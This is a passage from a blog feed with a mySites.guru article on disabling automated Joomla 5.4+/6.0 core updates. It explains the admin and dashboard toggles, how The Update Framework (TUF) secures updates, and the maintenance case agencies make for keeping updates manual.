</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>security</category><category>wp-config</category><category>auto-updates</category><enclosure url="https://mysites.guru/_astro/enforce-minor-upgrades-only-wordpress.p1BFexx7.png" length="0" type="image/png"/></item><item><title>How to Disable Automated Joomla Core Upgrades in Joomla 5.4+ and 6.0</title><link>https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/</guid><description>Joomla 5.4 and 6.0 auto-update your site without asking. How to disable Joomla automatic updates, why agencies should, and the TUF security model behind them.</description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 5.4 and 6.0 introduced automated core updates. Your Joomla site can now register itself with Joomla.org&apos;s update infrastructure and apply core patches without anyone touching the admin panel. New installations have this enabled by default.&lt;/p&gt;
&lt;p&gt;If you manage client sites, you probably want to turn this off. Here&apos;s how.&lt;/p&gt;
&lt;h2&gt;Disabling Automated Joomla Core Updates Across Your Portfolio&lt;/h2&gt;
&lt;h3&gt;Method 1: Using mySites.guru across all your sites&lt;/h3&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, logging into each one to toggle a setting is exactly the kind of repetitive work that eats your day. mySites.guru handles this from one screen.&lt;/p&gt;
&lt;p&gt;During each &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;site snapshot&lt;/a&gt;, mySites.guru checks the &lt;code&gt;autoupdate&lt;/code&gt; parameter in the &lt;code&gt;com_joomlaupdate&lt;/code&gt; configuration on every connected Joomla 5.4+ and 6.0+ site. If the parameter is missing or set to &lt;code&gt;1&lt;/code&gt;, the site is flagged as having an issue. The dashboard shows you all your Joomla sites with their current status at a glance:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Each site gets a simple toggle:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green tick&lt;/strong&gt; = auto-updates are disabled (recommended)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red cross&lt;/strong&gt; = auto-updates are not disabled - this is flagged as an issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Clicking the toggle sets the &lt;code&gt;autoupdate&lt;/code&gt; parameter to &lt;code&gt;0&lt;/code&gt; on the remote site, preventing Joomla from automatically upgrading until you change the setting back. For an agency managing dozens or hundreds of Joomla sites, this turns a multi-hour task into a few minutes of clicking through a filtered list.&lt;/p&gt;
&lt;p&gt;The same check also appears in the &lt;strong&gt;Joomla Configuration&lt;/strong&gt; section of each individual site&apos;s audit:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;One-way toggle by design&lt;/p&gt;
  &lt;p&gt;mySites.guru can disable auto-updates remotely, but it cannot enable them. If you decide you want automated updates on a specific site, you need to enable that directly in the Joomla administrator panel on version 5.4+. This is a deliberate safety measure - auto-updates should only be turned on with full awareness of what the feature does.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;update channel detection&lt;/a&gt;, you can see both &lt;em&gt;which versions&lt;/em&gt; your sites are being offered and &lt;em&gt;whether they&apos;ll install those versions automatically&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Method 2: Through the Joomla admin panel&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into the Joomla administrator panel&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System → Joomla! Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Options&lt;/strong&gt; in the toolbar&lt;/li&gt;
&lt;li&gt;Select the &lt;strong&gt;Automated Updates&lt;/strong&gt; tab&lt;/li&gt;
&lt;li&gt;Toggle the setting from &lt;strong&gt;Yes&lt;/strong&gt; to &lt;strong&gt;No&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also reach this from the Home Dashboard - look for the &quot;Automated Updates are disabled&quot; quick icon. If it shows an orange icon instead of green, automated updates are still enabled - click through to the settings to disable them.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Method 3: During installation (for new sites)&lt;/h3&gt;
&lt;p&gt;Since the opt-out mechanism was added, the Joomla installation wizard includes a &lt;strong&gt;Disable Automated Updates&lt;/strong&gt; button on the final screen after installation completes. Clicking it prevents the site from registering with the update server entirely.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Don&apos;t miss the opt-out during installation&lt;/p&gt;
  &lt;p&gt;The opt-out button appears only on the final installation screen. Once you delete the installation directory, there&apos;s no going back to that screen. If you miss it, disable automated updates through the admin panel (Method 2) instead.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Managing Joomla updates after disabling auto-updates&lt;/h2&gt;
&lt;p&gt;Disabling automated updates doesn&apos;t mean ignoring updates. It means you decide when they happen. A solid update workflow for agencies looks like this:&lt;/p&gt;
&lt;h3&gt;1. Monitor available updates from one dashboard&lt;/h3&gt;
&lt;p&gt;Use &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru&apos;s update management&lt;/a&gt; to see which Joomla sites have pending core updates. You get this information from your regular site snapshots without logging into each site. When a security release lands - like the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 patch&lt;/a&gt; on 26 May 2026 covering an MFA bypass and a com_users privilege escalation - this is the view that tells you which sites in the portfolio are still on the vulnerable version.&lt;/p&gt;
&lt;h3&gt;2. Test on a staging site first&lt;/h3&gt;
&lt;p&gt;Before applying a Joomla core update to a client&apos;s production site, test it on a staging copy. Check that all extensions work, forms submit correctly, and custom code still functions. This is the step that automated updates skip entirely.&lt;/p&gt;
&lt;h3&gt;3. Back up before updating&lt;/h3&gt;
&lt;p&gt;Make sure each site has a current backup before you apply the update. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup scheduling&lt;/a&gt; can automate this so you&apos;re not manually triggering backups across dozens of sites.&lt;/p&gt;
&lt;h3&gt;4. Apply updates in batches&lt;/h3&gt;
&lt;p&gt;With mySites.guru, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;upgrade multiple Joomla sites&lt;/a&gt; from one dashboard. Apply the update to a small group first, verify everything is stable, then roll out to the rest. This gives you the speed of bulk updates with the safety of incremental rollout.&lt;/p&gt;
&lt;h3&gt;5. Document the change&lt;/h3&gt;
&lt;p&gt;If you provide &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;client reports&lt;/a&gt;, the update should appear in the report for that maintenance period. Automated updates that happen without your involvement don&apos;t show up in your documentation - another reason to keep updates in your own hands.&lt;/p&gt;
&lt;h3&gt;6. Selectively enable extension auto-updates instead&lt;/h3&gt;
&lt;p&gt;Disabling Joomla core auto-updates does not mean turning off automation completely. The &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;step-by-step how-to for enabling Joomla extension auto-updates safely&lt;/a&gt; covers the opposite half of the workflow: keep core in your hands, let trusted extension streams (Akeeba Backup, Admin Tools, JCE, RegularLabs) update on their own with a daily backup-first policy.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;What Joomla Automated Core Updates Actually Do&lt;/h2&gt;
&lt;p&gt;Joomla 5.1 (April 2024) introduced &lt;strong&gt;The Update Framework (TUF)&lt;/strong&gt; to cryptographically secure the update process, but TUF alone didn&apos;t make updates automatic. It wasn&apos;t until Joomla 5.4 and 6.0 (both released October 2025) that fully automatic core updates arrived, built on top of that TUF foundation. The process has four steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your Joomla site registers itself with a centralized server on Joomla.org infrastructure and receives a unique authentication token.&lt;/li&gt;
&lt;li&gt;The remote server uses that token to signal your site that an update is available.&lt;/li&gt;
&lt;li&gt;Your site (not the remote server) downloads the update package and installs it. The process is pull-based: the remote server cannot push code to your site directly.&lt;/li&gt;
&lt;li&gt;After a successful update, all super users on the site receive an email notification.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Only Joomla core files are updated. Third-party extensions, templates, and plugins are left untouched - if you want control over extension updates, that&apos;s a separate mechanism covered in our guide to &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt;. The core-only scope is actually a large part of the problem for agencies.&lt;/p&gt;
&lt;h3&gt;What data does registration collect?&lt;/h3&gt;
&lt;p&gt;When your site registers with the autoupdate.joomla.org service, it sends technical information about your environment: &lt;code&gt;php_version&lt;/code&gt;, &lt;code&gt;db_type&lt;/code&gt;, &lt;code&gt;db_version&lt;/code&gt;, &lt;code&gt;cms_version&lt;/code&gt;, and &lt;code&gt;server_os&lt;/code&gt;. An authentication token is generated and stored on both the Joomla update server and your site. This token is how the remote server authenticates requests to your site&apos;s API.&lt;/p&gt;
&lt;p&gt;The registration also creates new REST API endpoints on your site through &lt;code&gt;com_joomlaupdate&lt;/code&gt;&apos;s webservices integration. These endpoints allow the update server to communicate with your Joomla installation, checking status and triggering the update process.&lt;/p&gt;
&lt;h3&gt;How updates get applied without admin login&lt;/h3&gt;
&lt;p&gt;The update mechanism bypasses the traditional &lt;code&gt;/administrator/&lt;/code&gt; login flow entirely. Instead of going through the admin panel, the remote server communicates with your site through Joomla&apos;s &lt;code&gt;/api&lt;/code&gt; endpoints, proxied through &lt;code&gt;/index.php&lt;/code&gt;. This means even if you&apos;ve locked down your admin panel with IP restrictions, password-protected directories, or &lt;code&gt;.htaccess&lt;/code&gt; rules, the automated update system can still reach your site through the front-end API path.&lt;/p&gt;
&lt;p&gt;That&apos;s by design: the update needs to work without human interaction, so it can&apos;t rely on an authenticated admin session. But it does mean there&apos;s an additional attack surface to consider, even if TUF protections make exploitation difficult.&lt;/p&gt;
&lt;h3&gt;Requirements for automated updates to work&lt;/h3&gt;
&lt;p&gt;Automated updates won&apos;t activate unless all of these are true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site must be &lt;strong&gt;publicly accessible&lt;/strong&gt; on the internet (localhost and intranet sites are excluded)&lt;/li&gt;
&lt;li&gt;The update channel must be set to &lt;strong&gt;Default&lt;/strong&gt; (not &quot;Joomla Next&quot; or &quot;Testing&quot; - see our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;Joomla update channels&lt;/a&gt; for why this matters)&lt;/li&gt;
&lt;li&gt;Minimum stability must be set to &lt;strong&gt;Stable&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The site must be running &lt;strong&gt;Joomla 5.4 or higher&lt;/strong&gt; (or 6.0+)&lt;/li&gt;
&lt;li&gt;Working mail configuration (for post-update notification emails)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The default behavior depends on how the site was installed&lt;/h3&gt;
&lt;p&gt;This is the part that catches people off guard:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New installations&lt;/strong&gt; of Joomla 5.4+ or 6.0+: automated updates are &lt;strong&gt;enabled by default&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites upgraded&lt;/strong&gt; from Joomla 5.3 or earlier to 5.4+: automated updates are &lt;strong&gt;disabled by default&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;ve been running Joomla 5 since before 5.4 and upgraded through the normal update process, you&apos;re fine - the feature is off unless you turned it on. But any fresh Joomla installation (new client site, dev environment spun up with the latest version, a hosting provider&apos;s one-click installer) has automated updates running from day one.&lt;/p&gt;
&lt;h2&gt;What is The Update Framework (TUF)?&lt;/h2&gt;
&lt;p&gt;TUF is an open-source security specification that protects software update systems from supply-chain attacks. It started in the Python community and is now a graduated &lt;a href=&quot;https://www.cncf.io/&quot;&gt;Cloud Native Computing Foundation (CNCF)&lt;/a&gt; project under the Linux Foundation. Docker, Google, Amazon, Microsoft, VMware, and Cloudflare all use it.&lt;/p&gt;
&lt;p&gt;The problem it solves: what happens when the server distributing your updates gets compromised? Without TUF, an attacker who controls the update server can serve a malicious package and every client that checks for updates will install it. TUF prevents this with a few mechanisms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cryptographic signing with role separation.&lt;/strong&gt; Updates aren&apos;t signed by a single key. TUF splits signing responsibilities across multiple roles - root, targets, snapshot, and timestamp - each with their own keys. Compromising one key doesn&apos;t give an attacker the ability to forge a complete, valid update.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threshold signatures.&lt;/strong&gt; Critical actions require M-of-N signatures (e.g., 3 out of 5 keyholders must sign). Even if an attacker steals one or two keys, they still can&apos;t produce a valid release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expiration enforcement.&lt;/strong&gt; TUF metadata has built-in expiration dates. A client won&apos;t accept stale metadata, which limits the window for replay attacks where an attacker serves an old, vulnerable version as if it were current.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consistent snapshots.&lt;/strong&gt; The framework ensures clients get a consistent view of the repository at a point in time, preventing mix-and-match attacks where an attacker combines files from different releases.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How Joomla uses TUF&lt;/h3&gt;
&lt;p&gt;Before Joomla 5.1, the updater retrieved update information from an XML file hosted on the Joomla.org CDN. Whatever that XML file said was trusted - there was no cryptographic verification that the update information actually came from the Joomla project. If someone compromised the CDN or the update server, they could point every Joomla site to a malicious download.&lt;/p&gt;
&lt;p&gt;Joomla 5.1 replaced this with a &lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;TUF-based update system&lt;/a&gt;. The implementation includes a server-side setup for the update repository with a CLI tool for managing signing keys and publishing releases, and a PHP client library that reads and verifies TUF metadata before accepting any update. Even if an attacker compromises the update server infrastructure, they cannot forge the cryptographic signatures that prove an update was published by the official Joomla project.&lt;/p&gt;
&lt;p&gt;The automated update feature introduced in Joomla 5.4 builds on top of this TUF foundation. The pull-based mechanism (where your site downloads and verifies the update itself rather than receiving pushed code) combined with TUF&apos;s signature verification means the worst-case scenario for a server compromise is that an attacker could trigger a &lt;em&gt;legitimate&lt;/em&gt; pending update to install sooner than expected - not inject arbitrary code.&lt;/p&gt;
&lt;p&gt;The entire infrastructure is open source. The PHP client library is based on &lt;a href=&quot;https://github.com/php-tuf/php-tuf&quot;&gt;php-tuf&lt;/a&gt;, a shared implementation also used by Drupal and TYPO3 - though Joomla maintains &lt;a href=&quot;https://github.com/joomla-backports/php-tuf&quot;&gt;its own fork&lt;/a&gt; with several changes. The fork fixes how signature verifiers are recreated during root key rotation (aligning with the TUF spec more strictly than upstream), relaxes &lt;code&gt;spec_version&lt;/code&gt; validation to accept a wider range of version formats, fixes canonical JSON key sorting for nested arrays, adds PHP 8.4 nullable type compatibility, and widens the Guzzle Promises constraint to support both v1 and v2. A &lt;a href=&quot;https://gist.github.com/PhilETaylor/0fee6f69316cc10e8bf56cd3a22ee887&quot;&gt;full diff of the fork&apos;s changes&lt;/a&gt; is available. The fork does lag behind upstream on some improvements like static caching, delegated role optimizations, and the latest TUF spec version. The signed metadata itself - covering all four TUF roles (root, targets, snapshot, and timestamp) - lives in the &lt;a href=&quot;https://github.com/joomla/updates&quot;&gt;joomla/updates&lt;/a&gt; repository, which has accumulated over 1,500 commits of cryptographic signatures and update artifacts. The server that orchestrates the pull-based update cycle is the &lt;a href=&quot;https://github.com/joomla-projects/Automated-Updates-Server&quot;&gt;Automated-Updates-Server&lt;/a&gt;, a Laravel 11 application hosted by the Joomla project. It runs on PHP 8.3+ with Laravel Horizon managing the job queue: health-checking registered sites every 15 minutes, queuing update jobs when patches are available, and removing inactive sites after 7 days of failed checks. Joomla is the first PHP-based CMS to ship TUF verification in its update pipeline.&lt;/p&gt;
&lt;p&gt;For site administrators, TUF operates transparently. You don&apos;t need to configure anything or manage keys. It runs in the background every time your site checks for or applies a Joomla core update, whether manual or automated.&lt;/p&gt;
&lt;h2&gt;The Agency Case for Disabling Automated Updates&lt;/h2&gt;
&lt;p&gt;The feature was built for a specific audience: the long tail of Joomla sites with no active maintenance. After a security patch release, there&apos;s roughly a 10-12 hour window before attackers reverse-engineer the fix and start scanning for unpatched sites. For sites with no one watching the dashboard, automated updates close that window.&lt;/p&gt;
&lt;p&gt;But if you&apos;re reading this blog, you probably manage sites professionally. Automated updates don&apos;t fit that workflow. These concerns aren&apos;t new, either. Back in 2014, Brian Teeman - co-founder of Joomla - wrote that &lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot;&gt;automatic updates for Joomla are a bad idea&lt;/a&gt;, arguing that the risks of breaking sites without notice outweigh the convenience. His point: &quot;You definitely do not want to find out at 2 a.m. on a Saturday night that an update has gone wrong when a furious client calls you.&quot; Over a decade later, with the feature now shipping in core, those same arguments still hold.&lt;/p&gt;
&lt;p&gt;Joomla isn&apos;t alone in this tension, either. Drupal is building its own automatic updates initiative and is upfront about the limitations. Their own documentation states: &quot;Automatic updates are generally not intended for use by large enterprise organizations that already have their own build workflows and pipelines. Instead, the intent is to support small-to-medium site owners who have a &apos;set-it-and-forget-it&apos; attitude towards their Drupal installations.&quot; (&lt;a href=&quot;https://www.drupal.org/about/starshot/initiatives/automatic-updates&quot;&gt;source&lt;/a&gt;). That&apos;s exactly the distinction that matters here: automatic updates are for unmanaged sites, not for sites you&apos;re actively responsible for.&lt;/p&gt;
&lt;h3&gt;Extension compatibility breaks&lt;/h3&gt;
&lt;p&gt;The core updates but your extensions don&apos;t. An automated patch can land on a site running extensions that haven&apos;t been tested against the new core version. Contact forms stop submitting. E-commerce checkout flows fail. On client sites running niche or legacy extensions, the risk gets worse.&lt;/p&gt;
&lt;p&gt;We&apos;ve seen this pattern play out for years with &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;WordPress automatic updates&lt;/a&gt; and it&apos;s no different here.&lt;/p&gt;
&lt;h3&gt;No staging-first workflow&lt;/h3&gt;
&lt;p&gt;The automated system updates the live site directly. There&apos;s no mechanism to route the update through a staging environment first, verify that everything works, and then apply to production. For agencies that bill for maintenance and guarantee uptime, skipping the test step is unacceptable.&lt;/p&gt;
&lt;h3&gt;Unpredictable timing&lt;/h3&gt;
&lt;p&gt;Updates can trigger at any time. During peak traffic. Right before a client presentation. While you&apos;re in the middle of debugging something else on the same site. You have no say in the timing.&lt;/p&gt;
&lt;h3&gt;Backup dependency&lt;/h3&gt;
&lt;p&gt;Every guide on automated updates (including Joomla&apos;s own documentation) stresses that having a current, restorable backup before each update is &quot;absolutely vital.&quot; That&apos;s true, but on a portfolio of 50+ sites, ensuring every site has a valid backup at the exact moment an automated update fires is an operational challenge. If you&apos;re using &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;mySites.guru&apos;s backup scheduling&lt;/a&gt;, you have a safety net - but the timing still isn&apos;t guaranteed to align.&lt;/p&gt;
&lt;h3&gt;Undermines your maintenance service&lt;/h3&gt;
&lt;p&gt;If you sell maintenance contracts where tested, documented updates are part of the service, automated updates create confusion. A client&apos;s site updates itself overnight, something breaks, and the first question is &quot;who did this?&quot; Explaining that Joomla did it on its own doesn&apos;t exactly inspire confidence in the controlled process you promised them.&lt;/p&gt;
&lt;h3&gt;Continuous data transmission&lt;/h3&gt;
&lt;p&gt;Once registered, the service performs health checks every 24 hours, transmitting technical information about your site to Joomla&apos;s servers - including PHP version, database type and version, CMS version, and server OS. This happens regardless of whether a new update is available. If your clients are in regulated industries or have strict data governance policies, this ongoing communication with an external service may need to be disclosed or approved.&lt;/p&gt;
&lt;h3&gt;Cloudflare and WAF interference&lt;/h3&gt;
&lt;p&gt;Community reports confirm that Cloudflare&apos;s Bot Fight Mode blocks the automated update mechanism, returning 403 errors. Sites behind aggressive WAF rules may need additional configuration to allow the update server&apos;s requests through. If you manage sites on varied hosting environments, this adds another variable to troubleshoot when updates fail silently.&lt;/p&gt;
&lt;h3&gt;The feature is still maturing&lt;/h3&gt;
&lt;p&gt;The autoupdate.joomla.org service stability under high load has not been fully demonstrated in production at scale. The feature was developed by a small team of contributors, and additional security concerns have been reported to the Joomla Security Strike Team and are still being addressed. Failure notifications rely on your site being operational after the upgrade - if an update causes a site error, no notification will be sent. If client site availability is what you sell, relying on a system that&apos;s still proving itself in production adds risk you probably don&apos;t need.&lt;/p&gt;
&lt;h2&gt;Auditing Your Existing Joomla Sites&lt;/h2&gt;
&lt;p&gt;If you&apos;ve been building new Joomla sites since October 2025 (when 5.4.0 and 6.0.0 shipped) - or more recently since &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 released in April 2026&lt;/a&gt; - some of them may have automated updates running without you realizing it. To audit your portfolio:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run a snapshot&lt;/strong&gt; on all your connected Joomla sites in &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the automated update status&lt;/strong&gt; - the dashboard will show you which sites have the feature enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable it&lt;/strong&gt; on any site where you want manual control, directly from the dashboard&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify the update channel&lt;/strong&gt; - while you&apos;re at it, confirm all sites are on the &quot;Default&quot; channel, not &quot;Joomla Next&quot; (which could trigger a major version jump)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you&apos;re not using mySites.guru yet, you can start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see the state of your sites.&lt;/p&gt;
&lt;h3&gt;What to look for in the audit results&lt;/h3&gt;
&lt;p&gt;When you run the audit, the &quot;Disable Upcoming Joomla 5.4+ Auto Joomla Upgrades&quot; check appears in the &lt;strong&gt;Joomla Configuration&lt;/strong&gt; section of each site&apos;s report. Sites where auto-updates are already disabled show a green &lt;strong&gt;OK&lt;/strong&gt; badge. Sites where the &lt;code&gt;autoupdate&lt;/code&gt; parameter is set to &lt;code&gt;1&lt;/code&gt; (or missing entirely, which Joomla 5.4+ interprets as opting in) show a red &lt;strong&gt;1 Issue&lt;/strong&gt; badge.&lt;/p&gt;
&lt;p&gt;Pay particular attention to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sites built after October 2025&lt;/strong&gt; - new installations default to auto-updates enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites on shared hosting&lt;/strong&gt; with one-click Joomla installers - the hosting provider&apos;s installer may not disable auto-updates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites handed off from other developers&lt;/strong&gt; - you may not know what settings the previous maintainer used&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dev/staging sites&lt;/strong&gt; that were later pointed to production domains - if the original install had auto-updates enabled, the production site inherited that setting&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Check your hosting control panel too&lt;/h3&gt;
&lt;p&gt;Disabling Joomla&apos;s built-in auto-updates isn&apos;t the whole picture. Many web hosting control panels have their own auto-upgrade features that operate independently of Joomla&apos;s settings. Softaculous, Installatron, and similar one-click installers bundled with cPanel, Plesk, and DirectAdmin can all be configured to auto-update Joomla and WordPress installations on a schedule. Some managed hosting providers enable this by default.&lt;/p&gt;
&lt;p&gt;This means you can disable auto-updates inside Joomla and still wake up to find your site was upgraded overnight by Softaculous. The hosting panel updates the files directly on disk - it doesn&apos;t go through Joomla&apos;s update mechanism at all, so TUF verification doesn&apos;t apply and Joomla&apos;s own auto-update setting is irrelevant.&lt;/p&gt;
&lt;p&gt;If you manage sites across multiple hosts, log into each hosting control panel and check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Softaculous&lt;/strong&gt; - go to the installation&apos;s edit page and look for &quot;Auto Upgrade&quot; and &quot;Auto Upgrade Plugins&quot; settings. Set both to &quot;Do not Auto Upgrade.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Installatron&lt;/strong&gt; - check the &quot;Automatic Update&quot; option in the application&apos;s settings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Managed WordPress/Joomla hosts&lt;/strong&gt; - some providers (like WP Engine for WordPress, or Starter for Joomla) manage updates as part of the service. Review their update policies and opt out if your workflow requires it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is easy to overlook, especially on client sites where someone else set up the hosting. Add it to your audit checklist.&lt;/p&gt;
&lt;h2&gt;What if auto-updates already ran on your sites?&lt;/h2&gt;
&lt;p&gt;If you&apos;re finding out about this after an update already landed on one of your sites, here&apos;s how to assess and recover:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check what version was installed.&lt;/strong&gt; Log into the Joomla admin panel and check the current CMS version under System → System Information. Compare it to what you expected. If the site was on 5.4.2 and is now on 5.4.3, that&apos;s a minor patch - check the &lt;a href=&quot;https://www.joomla.org/announcements.html&quot;&gt;Joomla release notes&lt;/a&gt; for what changed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test the site thoroughly.&lt;/strong&gt; Walk through the critical user paths: contact forms, login, search, any custom functionality, e-commerce checkout if applicable. Check the front-end and back-end for PHP errors. Look at the site&apos;s error log for new entries timestamped around the update time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verify extensions are compatible.&lt;/strong&gt; Open the Extensions → Manage → Manage panel and look for any extensions flagged with compatibility warnings. Check that &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;your Joomla extensions&lt;/a&gt; are all functioning correctly. Pay particular attention to template overrides, which can break silently when core HTML output changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check for failed update artifacts.&lt;/strong&gt; If an automated update failed partway through, you may find the site in an inconsistent state. Look for Joomla&apos;s &lt;code&gt;administrator/cache/com_joomlaupdate&lt;/code&gt; directory and check if there are leftover update packages. A failed update that left partial files behind will need manual cleanup - either by re-running the update or restoring from backup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disable auto-updates immediately.&lt;/strong&gt; Follow the methods above to prevent it from happening again. Then take a fresh &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup of your sites&lt;/a&gt; so you have a clean restore point going forward.&lt;/p&gt;
&lt;h2&gt;When Do Automated Joomla Updates Make Sense?&lt;/h2&gt;
&lt;p&gt;The feature isn&apos;t universally bad. There are legitimate use cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Personal or hobby sites&lt;/strong&gt; with no third-party extensions and no maintenance contract&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brochure sites&lt;/strong&gt; running vanilla Joomla with no custom code and minimal extension usage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites where no one is watching&lt;/strong&gt; - if the alternative is running an unpatched Joomla site for months, automated updates are the lesser risk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a site fits that profile, leaving automated updates enabled is reasonable. The core Joomla team built this feature to solve a real problem: the massive number of Joomla sites running outdated, vulnerable versions because no one is maintaining them.&lt;/p&gt;
&lt;p&gt;But if you&apos;re the person maintaining the site, testing updates, managing extensions, and guaranteeing uptime, then you should be the one deciding when updates happen.&lt;/p&gt;
&lt;h2&gt;How WordPress Handles This Differently&lt;/h2&gt;
&lt;p&gt;WordPress has had automatic background updates since version 3.7, and the same debates played out in that ecosystem years ago. If you manage WordPress sites alongside Joomla, you&apos;ll recognize the pattern: the feature helps unmanaged sites stay patched, but agencies need more control. The recent &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 incident&lt;/a&gt; - where a security auto-update crashed sites running certain theme frameworks - is a textbook example of why testing before deployment matters, regardless of the CMS.&lt;/p&gt;
